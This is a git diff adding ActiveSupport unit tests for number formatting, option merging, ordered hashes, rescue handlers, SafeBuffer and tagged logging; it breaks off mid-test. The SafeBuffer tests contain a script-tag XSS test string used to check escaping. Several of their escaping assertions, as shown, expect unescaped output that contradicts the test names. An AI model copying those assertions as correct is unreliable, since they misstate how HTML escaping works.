+ assert_equal '1230 Quadrillion', number_helper.number_to_human(1234567890123456789)
+ assert_equal '490 Thousand', number_helper.number_to_human(489939, :precision => 2)
+ assert_equal '489.9 Thousand', number_helper.number_to_human(489939, :precision => 4)
+ assert_equal '489 Thousand', number_helper.number_to_human(489000, :precision => 4)
+ assert_equal '489.0 Thousand', number_helper.number_to_human(489000, :precision => 4, :strip_insignificant_zeros => false)
+ assert_equal '1.2346 Million', number_helper.number_to_human(1234567, :precision => 4, :significant => false)
+ assert_equal '1,2 Million', number_helper.number_to_human(1234567, :precision => 1, :significant => false, :separator => ',')
+ assert_equal '1 Million', number_helper.number_to_human(1234567, :precision => 0, :significant => true, :separator => ',') #significant forced to false
+ end
+ end
+
+ def test_number_to_human_with_custom_units
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ #Only integers
+ volume = {:unit => "ml", :thousand => "lt", :million => "m3"}
+ assert_equal '123 lt', number_helper.number_to_human(123456, :units => volume)
+ assert_equal '12 ml', number_helper.number_to_human(12, :units => volume)
+ assert_equal '1.23 m3', number_helper.number_to_human(1234567, :units => volume)
+
+ #Including fractionals
+ distance = {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
+ assert_equal '1.23 mm', number_helper.number_to_human(0.00123, :units => distance)
+ assert_equal '1.23 cm', number_helper.number_to_human(0.0123, :units => distance)
+ assert_equal '1.23 dm', number_helper.number_to_human(0.123, :units => distance)
+ assert_equal '1.23 m', number_helper.number_to_human(1.23, :units => distance)
+ assert_equal '1.23 dam', number_helper.number_to_human(12.3, :units => distance)
+ assert_equal '1.23 hm', number_helper.number_to_human(123, :units => distance)
+ assert_equal '1.23 km', number_helper.number_to_human(1230, :units => distance)
+ assert_equal '1.23 km', number_helper.number_to_human(1230, :units => distance)
+ assert_equal '1.23 km', number_helper.number_to_human(1230, :units => distance)
+ assert_equal '12.3 km', number_helper.number_to_human(12300, :units => distance)
+
+ #The quantifiers don't need to be a continuous sequence
+ gangster = {:hundred => "hundred bucks", :million => "thousand quids"}
+ assert_equal '1 hundred bucks', number_helper.number_to_human(100, :units => gangster)
+ assert_equal '25 hundred bucks', number_helper.number_to_human(2500, :units => gangster)
+ assert_equal '25 thousand quids', number_helper.number_to_human(25000000, :units => gangster)
+ assert_equal '12300 thousand quids', number_helper.number_to_human(12345000000, :units => gangster)
+
+ #Spaces are stripped from the resulting string
+ assert_equal '4', number_helper.number_to_human(4, :units => {:unit => "", :ten => 'tens '})
+ assert_equal '4.5 tens', number_helper.number_to_human(45, :units => {:unit => "", :ten => ' tens '})
+ end
+ end
+
+ def test_number_to_human_with_custom_units_that_are_missing_the_needed_key
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal '123', number_helper.number_to_human(123, units: { thousand: 'k'})
+ assert_equal '123', number_helper.number_to_human(123, units: {})
+ end
+ end
+
+ def test_number_to_human_with_custom_format
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal '123 times Thousand', number_helper.number_to_human(123456, :format => "%n times %u")
+ volume = {:unit => "ml", :thousand => "lt", :million => "m3"}
+ assert_equal '123.lt', number_helper.number_to_human(123456, :units => volume, :format => "%n.%u")
+ end
+ end
+
+ def test_number_helpers_should_return_nil_when_given_nil
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_nil number_helper.number_to_phone(nil)
+ assert_nil number_helper.number_to_currency(nil)
+ assert_nil number_helper.number_to_percentage(nil)
+ assert_nil number_helper.number_to_delimited(nil)
+ assert_nil number_helper.number_to_rounded(nil)
+ assert_nil number_helper.number_to_human_size(nil)
+ assert_nil number_helper.number_to_human(nil)
+ end
+ end
+
+ def test_number_helpers_do_not_mutate_options_hash
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ options = { 'raise' => true }
+
+ number_helper.number_to_phone(1, options)
+ assert_equal({ 'raise' => true }, options)
+
+ number_helper.number_to_currency(1, options)
+ assert_equal({ 'raise' => true }, options)
+
+ number_helper.number_to_percentage(1, options)
+ assert_equal({ 'raise' => true }, options)
+
+ number_helper.number_to_delimited(1, options)
+ assert_equal({ 'raise' => true }, options)
+
+ number_helper.number_to_rounded(1, options)
+ assert_equal({ 'raise' => true }, options)
+
+ number_helper.number_to_human_size(1, options)
+ assert_equal({ 'raise' => true }, options)
+
+ number_helper.number_to_human(1, options)
+ assert_equal({ 'raise' => true }, options)
+ end
+ end
+
+ def test_number_helpers_should_return_non_numeric_param_unchanged
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal("+1-x x 123", number_helper.number_to_phone("x", :country_code => 1, :extension => 123))
+ assert_equal("x", number_helper.number_to_phone("x"))
+ assert_equal("$x.", number_helper.number_to_currency("x."))
+ assert_equal("$x", number_helper.number_to_currency("x"))
+ assert_equal("x%", number_helper.number_to_percentage("x"))
+ assert_equal("x", number_helper.number_to_delimited("x"))
+ assert_equal("x.", number_helper.number_to_rounded("x."))
+ assert_equal("x", number_helper.number_to_rounded("x"))
+ assert_equal "x", number_helper.number_to_human_size('x')
+ assert_equal "x", number_helper.number_to_human('x')
+ end
+ end
+
+ def test_extending_or_including_number_helper_correctly_hides_private_methods
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert !number_helper.respond_to?(:valid_float?)
+ assert number_helper.respond_to?(:valid_float?, true)
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/test/option_merger_test.rb b/activesupport/test/option_merger_test.rb
new file mode 100644
index 0000000..9d139b6
--- /dev/null
+++ b/activesupport/test/option_merger_test.rb
@@ -0,0 +1,86 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object/with_options'
+
+class OptionMergerTest < ActiveSupport::TestCase
+ def setup
+ @options = {:hello => 'world'}
+ end
+
+ def test_method_with_options_merges_options_when_options_are_present
+ local_options = {:cool => true}
+
+ with_options(@options) do |o|
+ assert_equal local_options, method_with_options(local_options)
+ assert_equal @options.merge(local_options),
+ o.method_with_options(local_options)
+ end
+ end
+
+ def test_method_with_options_appends_options_when_options_are_missing
+ with_options(@options) do |o|
+ assert_equal Hash.new, method_with_options
+ assert_equal @options, o.method_with_options
+ end
+ end
+
+ def test_method_with_options_allows_to_overwrite_options
+ local_options = {:hello => 'moon'}
+ assert_equal @options.keys, local_options.keys
+
+ with_options(@options) do |o|
+ assert_equal local_options, method_with_options(local_options)
+ assert_equal @options.merge(local_options),
+ o.method_with_options(local_options)
+ assert_equal local_options, o.method_with_options(local_options)
+ end
+ with_options(local_options) do |o|
+ assert_equal local_options.merge(@options),
+ o.method_with_options(@options)
+ end
+ end
+
+ def test_nested_method_with_options_containing_hashes_merge
+ with_options :conditions => { :method => :get } do |outer|
+ outer.with_options :conditions => { :domain => "www" } do |inner|
+ expected = { :conditions => { :method => :get, :domain => "www" } }
+ assert_equal expected, inner.method_with_options
+ end
+ end
+ end
+
+ def test_nested_method_with_options_containing_hashes_overwrite
+ with_options :conditions => { :method => :get, :domain => "www" } do |outer|
+ outer.with_options :conditions => { :method => :post } do |inner|
+ expected = { :conditions => { :method => :post, :domain => "www" } }
+ assert_equal expected, inner.method_with_options
+ end
+ end
+ end
+
+ def test_nested_method_with_options_containing_hashes_going_deep
+ with_options :html => { :class => "foo", :style => { :margin => 0, :display => "block" } } do |outer|
+ outer.with_options :html => { :title => "bar", :style => { :margin => "1em", :color => "#fff" } } do |inner|
+ expected = { :html => { :class => "foo", :title => "bar", :style => { :margin => "1em", :display => "block", :color => "#fff" } } }
+ assert_equal expected, inner.method_with_options
+ end
+ end
+ end
+
+ def test_nested_method_with_options_using_lambda
+ local_lambda = lambda { { :lambda => true } }
+ with_options(@options) do |o|
+ assert_equal @options.merge(local_lambda.call),
+ o.method_with_options(local_lambda).call
+ end
+ end
+
+ # Needed when counting objects with the ObjectSpace
+ def test_option_merger_class_method
+ assert_equal ActiveSupport::OptionMerger, ActiveSupport::OptionMerger.new('', '').class
+ end
+
+ private
+ def method_with_options(options = {})
+ options
+ end
+end
diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb
new file mode 100644
index 0000000..c3fe89d
--- /dev/null
+++ b/activesupport/test/ordered_hash_test.rb
@@ -0,0 +1,319 @@
+require 'abstract_unit'
+require 'active_support/json'
+require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/core_ext/array/extract_options'
+
+class OrderedHashTest < ActiveSupport::TestCase
+ def setup
+ @keys = %w( blue green red pink orange )
+ @values = %w( 000099 009900 aa0000 cc0066 cc6633 )
+ @hash = Hash.new
+ @ordered_hash = ActiveSupport::OrderedHash.new
+
+ @keys.each_with_index do |key, index|
+ @hash[key] = @values[index]
+ @ordered_hash[key] = @values[index]
+ end
+ end
+
+ def test_order
+ assert_equal @keys, @ordered_hash.keys
+ assert_equal @values, @ordered_hash.values
+ end
+
+ def test_access
+ assert @hash.all? { |k, v| @ordered_hash[k] == v }
+ end
+
+ def test_assignment
+ key, value = 'purple', '5422a8'
+
+ @ordered_hash[key] = value
+ assert_equal @keys.length + 1, @ordered_hash.length
+ assert_equal key, @ordered_hash.keys.last
+ assert_equal value, @ordered_hash.values.last
+ assert_equal value, @ordered_hash[key]
+ end
+
+ def test_delete
+ key, value = 'white', 'ffffff'
+ bad_key = 'black'
+
+ @ordered_hash[key] = value
+ assert_equal @keys.length + 1, @ordered_hash.length
+ assert_equal @ordered_hash.keys.length, @ordered_hash.length
+
+ assert_equal value, @ordered_hash.delete(key)
+ assert_equal @keys.length, @ordered_hash.length
+ assert_equal @ordered_hash.keys.length, @ordered_hash.length
+
+ assert_nil @ordered_hash.delete(bad_key)
+ end
+
+ def test_to_hash
+ assert_same @ordered_hash, @ordered_hash.to_hash
+ end
+
+ def test_to_a
+ assert_equal @keys.zip(@values), @ordered_hash.to_a
+ end
+
+ def test_has_key
+ assert_equal true, @ordered_hash.has_key?('blue')
+ assert_equal true, @ordered_hash.key?('blue')
+ assert_equal true, @ordered_hash.include?('blue')
+ assert_equal true, @ordered_hash.member?('blue')
+
+ assert_equal false, @ordered_hash.has_key?('indigo')
+ assert_equal false, @ordered_hash.key?('indigo')
+ assert_equal false, @ordered_hash.include?('indigo')
+ assert_equal false, @ordered_hash.member?('indigo')
+ end
+
+ def test_has_value
+ assert_equal true, @ordered_hash.has_value?('000099')
+ assert_equal true, @ordered_hash.value?('000099')
+ assert_equal false, @ordered_hash.has_value?('ABCABC')
+ assert_equal false, @ordered_hash.value?('ABCABC')
+ end
+
+ def test_each_key
+ keys = []
+ assert_equal @ordered_hash, @ordered_hash.each_key { |k| keys << k }
+ assert_equal @keys, keys
+ assert_kind_of Enumerator, @ordered_hash.each_key
+ end
+
+ def test_each_value
+ values = []
+ assert_equal @ordered_hash, @ordered_hash.each_value { |v| values << v }
+ assert_equal @values, values
+ assert_kind_of Enumerator, @ordered_hash.each_value
+ end
+
+ def test_each
+ values = []
+ assert_equal @ordered_hash, @ordered_hash.each {|key, value| values << value}
+ assert_equal @values, values
+ assert_kind_of Enumerator, @ordered_hash.each
+ end
+
+ def test_each_with_index
+ @ordered_hash.each_with_index { |pair, index| assert_equal [@keys[index], @values[index]], pair}
+ end
+
+ def test_each_pair
+ values = []
+ keys = []
+ @ordered_hash.each_pair do |key, value|
+ keys << key
+ values << value
+ end
+ assert_equal @values, values
+ assert_equal @keys, keys
+ assert_kind_of Enumerator, @ordered_hash.each_pair
+ end
+
+ def test_find_all
+ assert_equal @keys, @ordered_hash.find_all { true }.map(&:first)
+ end
+
+ def test_select
+ assert_equal @keys, @ordered_hash.select { true }.map(&:first)
+ end
+
+ def test_delete_if
+ copy = @ordered_hash.dup
+ copy.delete('pink')
+ assert_equal copy, @ordered_hash.delete_if { |k, _| k == 'pink' }
+ assert !@ordered_hash.keys.include?('pink')
+ end
+
+ def test_reject!
+ (copy = @ordered_hash.dup).delete('pink')
+ @ordered_hash.reject! { |k, _| k == 'pink' }
+ assert_equal copy, @ordered_hash
+ assert !@ordered_hash.keys.include?('pink')
+ end
+
+ def test_reject
+ copy = @ordered_hash.dup
+ new_ordered_hash = @ordered_hash.reject { |k, _| k == 'pink' }
+ assert_equal copy, @ordered_hash
+ assert !new_ordered_hash.keys.include?('pink')
+ assert @ordered_hash.keys.include?('pink')
+ end
+
+ def test_clear
+ @ordered_hash.clear
+ assert_equal [], @ordered_hash.keys
+ end
+
+ def test_merge
+ other_hash = ActiveSupport::OrderedHash.new
+ other_hash['purple'] = '800080'
+ other_hash['violet'] = 'ee82ee'
+ merged = @ordered_hash.merge other_hash
+ assert_equal merged.length, @ordered_hash.length + other_hash.length
+ assert_equal @keys + ['purple', 'violet'], merged.keys
+ end
+
+ def test_merge_with_block
+ hash = ActiveSupport::OrderedHash.new
+ hash[:a] = 0
+ hash[:b] = 0
+ merged = hash.merge(:b => 2, :c => 7) do |key, old_value, new_value|
+ new_value + 1
+ end
+
+ assert_equal 0, merged[:a]
+ assert_equal 3, merged[:b]
+ assert_equal 7, merged[:c]
+ end
+
+ def test_merge_bang_with_block
+ hash = ActiveSupport::OrderedHash.new
+ hash[:a] = 0
+ hash[:b] = 0
+ hash.merge!(:a => 1, :c => 7) do |key, old_value, new_value|
+ new_value + 3
+ end
+
+ assert_equal 4, hash[:a]
+ assert_equal 0, hash[:b]
+ assert_equal 7, hash[:c]
+ end
+
+ def test_shift
+ pair = @ordered_hash.shift
+ assert_equal [@keys.first, @values.first], pair
+ assert !@ordered_hash.keys.include?(pair.first)
+ end
+
+ def test_keys
+ original = @ordered_hash.keys.dup
+ @ordered_hash.keys.pop
+ assert_equal original, @ordered_hash.keys
+ end
+
+ def test_inspect
+ assert @ordered_hash.inspect.include?(@hash.inspect)
+ end
+
+ def test_json
+ ordered_hash = ActiveSupport::OrderedHash[:foo, :bar]
+ hash = Hash[:foo, :bar]
+ assert_equal ordered_hash.to_json, hash.to_json
+ end
+
+ def test_alternate_initialization_with_splat
+ alternate = ActiveSupport::OrderedHash[1,2,3,4]
+ assert_kind_of ActiveSupport::OrderedHash, alternate
+ assert_equal [1, 3], alternate.keys
+ end
+
+ def test_alternate_initialization_with_array
+ alternate = ActiveSupport::OrderedHash[ [
+ [1, 2],
+ [3, 4],
+ [ 'missing value' ]
+ ]]
+
+ assert_kind_of ActiveSupport::OrderedHash, alternate
+ assert_equal [1, 3, 'missing value'], alternate.keys
+ assert_equal [2, 4, nil ], alternate.values
+ end
+
+ def test_alternate_initialization_raises_exception_on_odd_length_args
+ assert_raises ArgumentError do
+ ActiveSupport::OrderedHash[1,2,3,4,5]
+ end
+ end
+
+ def test_replace_updates_keys
+ @other_ordered_hash = ActiveSupport::OrderedHash[:black, '000000', :white, '000000']
+ original = @ordered_hash.replace(@other_ordered_hash)
+ assert_same original, @ordered_hash
+ assert_equal @other_ordered_hash.keys, @ordered_hash.keys
+ end
+
+ def test_nested_under_indifferent_access
+ flash = {:a => ActiveSupport::OrderedHash[:b, 1, :c, 2]}.with_indifferent_access
+ assert_kind_of ActiveSupport::OrderedHash, flash[:a]
+ end
+
+ def test_each_after_yaml_serialization
+ assert_equal @values, YAML.load(YAML.dump(@ordered_hash)).values
+ end
+
+ def test_each_when_yielding_to_block_with_splat
+ hash_values = []
+ ordered_hash_values = []
+
+ @hash.each { |*v| hash_values << v }
+ @ordered_hash.each { |*v| ordered_hash_values << v }
+
+ assert_equal hash_values.sort, ordered_hash_values.sort
+ end
+
+ def test_each_pair_when_yielding_to_block_with_splat
+ hash_values = []
+ ordered_hash_values = []
+
+ @hash.each_pair { |*v| hash_values << v }
+ @ordered_hash.each_pair { |*v| ordered_hash_values << v }
+
+ assert_equal hash_values.sort, ordered_hash_values.sort
+ end
+
+ def test_order_after_yaml_serialization
+ @deserialized_ordered_hash = YAML.load(YAML.dump(@ordered_hash))
+
+ assert_equal @keys, @deserialized_ordered_hash.keys
+ assert_equal @values, @deserialized_ordered_hash.values
+ end
+
+ def test_order_after_yaml_serialization_with_nested_arrays
+ @ordered_hash[:array] = %w(a b c)
+
+ @deserialized_ordered_hash = YAML.load(YAML.dump(@ordered_hash))
+
+ assert_equal @ordered_hash.keys, @deserialized_ordered_hash.keys
+ assert_equal @ordered_hash.values, @deserialized_ordered_hash.values
+ end
+
+ def test_psych_serialize
+ @deserialized_ordered_hash = Psych.load(Psych.dump(@ordered_hash))
+
+ values = @deserialized_ordered_hash.map { |_, value| value }
+ assert_equal @values, values
+ end
+
+ def test_psych_serialize_tag
+ yaml = Psych.dump(@ordered_hash)
+ assert_match '!omap', yaml
+ end
+
+ def test_has_yaml_tag
+ @ordered_hash[:array] = %w(a b c)
+ assert_match '!omap', YAML.dump(@ordered_hash)
+ end
+
+ def test_update_sets_keys
+ @updated_ordered_hash = ActiveSupport::OrderedHash.new
+ @updated_ordered_hash.update(:name => "Bob")
+ assert_equal [:name], @updated_ordered_hash.keys
+ end
+
+ def test_invert
+ expected = ActiveSupport::OrderedHash[@values.zip(@keys)]
+ assert_equal expected, @ordered_hash.invert
+ assert_equal @values.zip(@keys), @ordered_hash.invert.to_a
+ end
+
+ def test_extractable
+ @ordered_hash[:rails] = "snowman"
+ assert_equal @ordered_hash, [1, 2, @ordered_hash].extract_options!
+ end
+end
diff --git a/activesupport/test/ordered_options_test.rb b/activesupport/test/ordered_options_test.rb
new file mode 100644
index 0000000..fdc745b
--- /dev/null
+++ b/activesupport/test/ordered_options_test.rb
@@ -0,0 +1,88 @@
+require 'abstract_unit'
+require 'active_support/ordered_options'
+
+class OrderedOptionsTest < ActiveSupport::TestCase
+ def test_usage
+ a = ActiveSupport::OrderedOptions.new
+
+ assert_nil a[:not_set]
+
+ a[:allow_concurrency] = true
+ assert_equal 1, a.size
+ assert a[:allow_concurrency]
+
+ a[:allow_concurrency] = false
+ assert_equal 1, a.size
+ assert !a[:allow_concurrency]
+
+ a["else_where"] = 56
+ assert_equal 2, a.size
+ assert_equal 56, a[:else_where]
+ end
+
+ def test_looping
+ a = ActiveSupport::OrderedOptions.new
+
+ a[:allow_concurrency] = true
+ a["else_where"] = 56
+
+ test = [[:allow_concurrency, true], [:else_where, 56]]
+
+ a.each_with_index do |(key, value), index|
+ assert_equal test[index].first, key
+ assert_equal test[index].last, value
+ end
+ end
+
+ def test_method_access
+ a = ActiveSupport::OrderedOptions.new
+
+ assert_nil a.not_set
+
+ a.allow_concurrency = true
+ assert_equal 1, a.size
+ assert a.allow_concurrency
+
+ a.allow_concurrency = false
+ assert_equal 1, a.size
+ assert !a.allow_concurrency
+
+ a.else_where = 56
+ assert_equal 2, a.size
+ assert_equal 56, a.else_where
+ end
+
+ def test_inheritable_options_continues_lookup_in_parent
+ parent = ActiveSupport::OrderedOptions.new
+ parent[:foo] = true
+
+ child = ActiveSupport::InheritableOptions.new(parent)
+ assert child.foo
+ end
+
+ def test_inheritable_options_can_override_parent
+ parent = ActiveSupport::OrderedOptions.new
+ parent[:foo] = :bar
+
+ child = ActiveSupport::InheritableOptions.new(parent)
+ child[:foo] = :baz
+
+ assert_equal :baz, child.foo
+ end
+
+ def test_inheritable_options_inheritable_copy
+ original = ActiveSupport::InheritableOptions.new
+ copy = original.inheritable_copy
+
+ assert copy.kind_of?(original.class)
+ assert_not_equal copy.object_id, original.object_id
+ end
+
+ def test_introspection
+ a = ActiveSupport::OrderedOptions.new
+ assert a.respond_to?(:blah)
+ assert a.respond_to?(:blah=)
+ assert_equal 42, a.method(:blah=).call(42)
+ assert_equal 42, a.method(:blah).call
+ end
+end
diff --git a/activesupport/test/rescuable_test.rb b/activesupport/test/rescuable_test.rb
new file mode 100644
index 0000000..e099e47
--- /dev/null
+++ b/activesupport/test/rescuable_test.rb
@@ -0,0 +1,105 @@
+require 'abstract_unit'
+
+class WraithAttack < StandardError
+end
+
+class NuclearExplosion < StandardError
+end
+
+class MadRonon < StandardError
+end
+
+class CoolError < StandardError
+end
+
+class Stargate
+ attr_accessor :result
+
+ include ActiveSupport::Rescuable
+
+ rescue_from WraithAttack, :with => :sos_first
+
+ rescue_from WraithAttack, :with => :sos
+
+ rescue_from 'NuclearExplosion' do
+ @result = 'alldead'
+ end
+
+ rescue_from MadRonon do |e|
+ @result = e.message
+ end
+
+ def dispatch(method)
+ send(method)
+ rescue Exception => e
+ rescue_with_handler(e)
+ end
+
+ def attack
+ raise WraithAttack
+ end
+
+ def nuke
+ raise NuclearExplosion
+ end
+
+ def ronanize
+ raise MadRonon.new("dex")
+ end
+
+ def sos
+ @result = 'killed'
+ end
+
+ def sos_first
+ @result = 'sos_first'
+ end
+
+end
+
+class CoolStargate < Stargate
+ attr_accessor :result
+
+ include ActiveSupport::Rescuable
+
+ rescue_from CoolError, :with => :sos_cool_error
+
+ def sos_cool_error
+ @result = 'sos_cool_error'
+ end
+end
+
+
+class RescuableTest < ActiveSupport::TestCase
+ def setup
+ @stargate = Stargate.new
+ @cool_stargate = CoolStargate.new
+ end
+
+ def test_rescue_from_with_method
+ @stargate.dispatch :attack
+ assert_equal 'killed', @stargate.result
+ end
+
+ def test_rescue_from_with_block
+ @stargate.dispatch :nuke
+ assert_equal 'alldead', @stargate.result
+ end
+
+ def test_rescue_from_with_block_with_args
+ @stargate.dispatch :ronanize
+ assert_equal 'dex', @stargate.result
+ end
+
+ def test_rescues_defined_later_are_added_at_end_of_the_rescue_handlers_array
+ expected = ["WraithAttack", "WraithAttack", "NuclearExplosion", "MadRonon"]
+ result = @stargate.send(:rescue_handlers).collect {|e| e.first}
+ assert_equal expected, result
+ end
+
+ def test_children_should_inherit_rescue_defintions_from_parents_and_child_rescue_should_be_appended
+ expected = ["WraithAttack", "WraithAttack", "NuclearExplosion", "MadRonon", "CoolError"]
+ result = @cool_stargate.send(:rescue_handlers).collect {|e| e.first}
+ assert_equal expected, result
+ end
+end
diff --git a/activesupport/test/safe_buffer_test.rb b/activesupport/test/safe_buffer_test.rb
new file mode 100644
index 0000000..047b89b
--- /dev/null
+++ b/activesupport/test/safe_buffer_test.rb
@@ -0,0 +1,143 @@
+require 'abstract_unit'
+require 'active_support/core_ext/string/inflections'
+require 'yaml'
+
+class SafeBufferTest < ActiveSupport::TestCase
+ def setup
+ @buffer = ActiveSupport::SafeBuffer.new
+ end
+
+ def test_titleize
+ assert_equal 'Foo', "foo".html_safe.titleize
+ end
+
+ test "Should look like a string" do
+ assert @buffer.is_a?(String)
+ assert_equal "", @buffer
+ end
+
+ test "Should escape a raw string which is passed to them" do
+ @buffer << "<script>"
+ assert_equal "<script>", @buffer
+ end
+
+ test "Should NOT escape a safe value passed to it" do
+ @buffer << "<script>".html_safe
+ assert_equal "<script>", @buffer
+ end
+
+ test "Should not mess with an innocuous string" do
+ @buffer << "Hello"
+ assert_equal "Hello", @buffer
+ end
+
+ test "Should not mess with a previously escape test" do
+ @buffer << ERB::Util.html_escape("<script>")
+ assert_equal "<script>", @buffer
+ end
+
+ test "Should be considered safe" do
+ assert @buffer.html_safe?
+ end
+
+ test "Should return a safe buffer when calling to_s" do
+ new_buffer = @buffer.to_s
+ assert_equal ActiveSupport::SafeBuffer, new_buffer.class
+ end
+
+ test "Should be converted to_yaml" do
+ str = 'hello!'
+ buf = ActiveSupport::SafeBuffer.new str
+ yaml = buf.to_yaml
+
+ assert_match(/^--- #{str}/, yaml)
+ assert_equal 'hello!', YAML.load(yaml)
+ end
+
+ test "Should work in nested to_yaml conversion" do
+ str = 'hello!'
+ data = { 'str' => ActiveSupport::SafeBuffer.new(str) }
+ yaml = YAML.dump data
+ assert_equal({'str' => str}, YAML.load(yaml))
+ end
+
+ test "Should work with underscore" do
+ str = "MyTest".html_safe.underscore
+ assert_equal "my_test", str
+ end
+
+ test "Should not return safe buffer from gsub" do
+ altered_buffer = @buffer.gsub('', 'asdf')
+ assert_equal 'asdf', altered_buffer
+ assert !altered_buffer.html_safe?
+ end
+
+ test "Should not return safe buffer from gsub!" do
+ @buffer.gsub!('', 'asdf')
+ assert_equal 'asdf', @buffer
+ assert !@buffer.html_safe?
+ end
+
+ test "Should escape dirty buffers on add" do
+ clean = "hello".html_safe
+ @buffer.gsub!('', '<>')
+ assert_equal "hello<>", clean + @buffer
+ end
+
+ test "Should concat as a normal string when safe" do
+ clean = "hello".html_safe
+ @buffer.gsub!('', '<>')
+ assert_equal "<>hello", @buffer + clean
+ end
+
+ test "Should preserve html_safe? status on copy" do
+ @buffer.gsub!('', '<>')
+ assert !@buffer.dup.html_safe?
+ end
+
+ test "Should return safe buffer when added with another safe buffer" do
+ clean = "<script>".html_safe
+ result_buffer = @buffer + clean
+ assert result_buffer.html_safe?
+ assert_equal "<script>", result_buffer
+ end
+
+ test "Should raise an error when safe_concat is called on unsafe buffers" do
+ @buffer.gsub!('', '<>')
+ assert_raise ActiveSupport::SafeBuffer::SafeConcatError do
+ @buffer.safe_concat "BUSTED"
+ end
+ end
+
+ test "Should not fail if the returned object is not a string" do
+ assert_kind_of NilClass, @buffer.slice("chipchop")
+ end
+
+ test "clone_empty returns an empty buffer" do
+ assert_equal '', ActiveSupport::SafeBuffer.new('foo').clone_empty
+ end
+
+ test "clone_empty keeps the original dirtyness" do
+ assert @buffer.clone_empty.html_safe?
+ assert !@buffer.gsub!('', '').clone_empty.html_safe?
+ end
+
+ test "Should be safe when sliced if original value was safe" do
+ new_buffer = @buffer[0,0]
+ assert_not_nil new_buffer
+ assert new_buffer.html_safe?, "should be safe"
+ end
+
+ test "Should continue unsafe on slice" do
+ x = 'foo'.html_safe.gsub!('f', '<script>alert("lolpwnd");</script>')
+
+ # calling gsub! makes the dirty flag true
+ assert !x.html_safe?, "should not be safe"
+
+ # getting a slice of it
+ y = x[0..-1]
+
+ # should still be unsafe
+ assert !y.html_safe?, "should not be safe"
+ end
+end
diff --git a/activesupport/test/string_inquirer_test.rb b/activesupport/test/string_inquirer_test.rb
new file mode 100644
index 0000000..a2ed577
--- /dev/null
+++ b/activesupport/test/string_inquirer_test.rb
@@ -0,0 +1,23 @@
+require 'abstract_unit'
+
+class StringInquirerTest < ActiveSupport::TestCase
+ def setup
+ @string_inquirer = ActiveSupport::StringInquirer.new('production')
+ end
+
+ def test_match
+ assert @string_inquirer.production?
+ end
+
+ def test_miss
+ assert_not @string_inquirer.development?
+ end
+
+ def test_missing_question_mark
+ assert_raise(NoMethodError) { @string_inquirer.production }
+ end
+
+ def test_respond_to
+ assert_respond_to @string_inquirer, :development?
+ end
+end
diff --git a/activesupport/test/tagged_logging_test.rb b/activesupport/test/tagged_logging_test.rb
new file mode 100644
index 0000000..27f6294
--- /dev/null
+++ b/activesupport/test/tagged_logging_test.rb
@@ -0,0 +1,102 @@
+require 'abstract_unit'
+require 'active_support/logger'
+require 'active_support/tagged_logging'
+
+class TaggedLoggingTest < ActiveSupport::TestCase
+ class MyLogger < ::ActiveSupport::Logger
+ def flush(*)
+ info "[FLUSHED]"
+ end
+ end
+
+ setup do
+ @output = StringIO.new
+ @logger = ActiveSupport::TaggedLogging.new(MyLogger.new(@output))
+ end
+
+ test 'sets logger.formatter if missing and extends it with a tagging API' do
+ logger = Logger.new(StringIO.new)
+ assert_nil logger.formatter
+ ActiveSupport::TaggedLogging.new(logger)
+ assert_not_nil logger.formatter
+ assert logger.formatter.respond_to?(:tagged)
+ end
+
+ test "tagged once" do
+ @logger.tagged("BCX") { @logger.info "Funky time" }
+ assert_equal "[BCX] Funky time\n", @output.string
+ end
+
+ test "tagged twice" do
+ @logger.tagged("BCX") { @logger.tagged("Jason") { @logger.info "Funky time" } }
+ assert_equal "[BCX] [Jason] Funky time\n", @output.string
+ end
+
+ test "tagged thrice at once" do
+ @logger.tagged("BCX", "Jason", "New") { @logger.info "Funky time" }
+ assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
+ end
+
+ test "tagged are flattened" do
+ @logger.tagged("BCX", %w(Jason New)) { @logger.info "Funky time" }
+ assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
+ end
+
+ test "push and pop tags directly" do
+ assert_equal %w(A B C), @logger.push_tags('A', ['B', ' ', ['C']])
+ @logger.info 'a'
+ assert_equal %w(C), @logger.pop_tags
+ @logger.info 'b'
+ assert_equal %w(B), @logger.pop_tags(1)
+ @logger.info 'c'
+ assert_equal [], @logger.clear_tags!
+ @logger.info 'd'
+ assert_equal "[A] [B] [C] a\n[A] [B] b\n[A] c\nd\n", @output.string
+ end
+
+ test "does not strip message content" do
+ @logger.info " Hello"
+ assert_equal " Hello\n", @output.string
+ end
+
+ test "provides access to the logger instance" do
+ @logger.tagged("BCX") { |logger| logger.info "Funky time" }
+ assert_equal "[BCX] Funky time\n", @output.string
+ end
+
+ test "tagged once with blank and nil" do
+ @logger.tagged(nil, "", "New") { @logger.info "Funky time" }
+ assert_equal "[New] Funky time\n", @output.string
+ end
+
+ test "keeps each tag in their own thread" do
+ @logger.tagged("BCX") do
+ Thread.new do
+ @logger.tagged("OMG") { @logger.info "Cool story bro" }
+ end.join
+ @logger.info "Funky time"
+ end
+ assert_equal "[OMG] Cool story bro\n[BCX] Funky time\n", @output.string
+ end
+
+ test "cleans up the taggings on flush" do
+ @logger.tagged("BCX") do
+ Thread.new do
+ @logger.tagged("OMG") do
+ @logger.flush
+ @logger.info "Cool story bro"
+ end
+ end.join
+ end
+ assert_equal "[FLUSHED]\nCool story bro\n", @output.string
+ end
+
+ test "mixed levels of tagging" do
+ @logger.tagged("BCX") do
